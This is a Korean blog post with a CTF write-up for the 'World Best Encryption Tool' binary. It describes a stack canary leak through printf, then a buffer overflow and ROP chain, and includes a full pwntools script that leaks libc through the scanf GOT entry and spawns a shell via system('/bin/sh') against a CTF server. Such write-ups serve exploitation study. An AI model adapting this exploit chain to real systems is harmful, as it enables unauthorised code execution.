World Best Encryption Tool 본문
카나리가 걸려있다.
데이터를 입력하면 이상한 문자들이 출력된다.
0x31만큼만 암호화를 진행한다.
그리고 src의 0x39만큼 dest에 복사를 한다.
빨간색 표시된 부분의 위쪽이 카나리이고 아래쪽이 ret주소이다.
printf함수가 널 바이트까지 출력한다는 것을 이용해 canary를 leak 한다.
canary를 leak 하였다.
그 후 ret까지 bof를 일으킨 후 rop를 진행하려 했다.
puts의 실제 주소를 출력하려 했으나 이상하게 안된다. 여기서 수많은 시간을 삽질했다.
그래서 scanf를 이용하기로 했다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3027)
#p = process("./World_best_encryption_tool")
context.log_level = "Debug"
elf = ELF("./World_best_encryption_tool")
pr = 0x4008e3
payload = "a"*57
gdb.attach(p)
p.sendline(payload)
p.recvuntil("aaaaaaa")
canary = u64(p.recv(7)+"\x00")
canary = canary<<8
print("canary= " + str(hex(canary)))
p.sendlineafter("(Yes/No)\n", "Yes")
payload = "\x00"*120
payload += p64(canary)
payload += "a"*8
payload += p64(pr)
payload += p64(elf.got['__isoc99_scanf'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
time.sleep(0.1)
p.sendline(payload)
time.sleep(0.1)
p.sendline("No")
time.sleep(0.1)
p.recvuntil("text? (Yes/No)\n")
addr_leak = u64(p.recv(6)+"\x00\x00")
print(hex(addr_leak))
libc_base = addr_leak - 0x6b4d0
system = libc_base + 0x45390
binsh = libc_base + 0x18cd57
payload = "\x00"*120
payload += p64(canary)
payload += "a"*8
payload += p64(pr)
payload += p64(binsh)
payload += p64(system)
p.sendline(payload)
p.sendline("No")
p.interactive()
puts의 주소 출력이 왜 안되는지 이유를 모르겠다.
Comments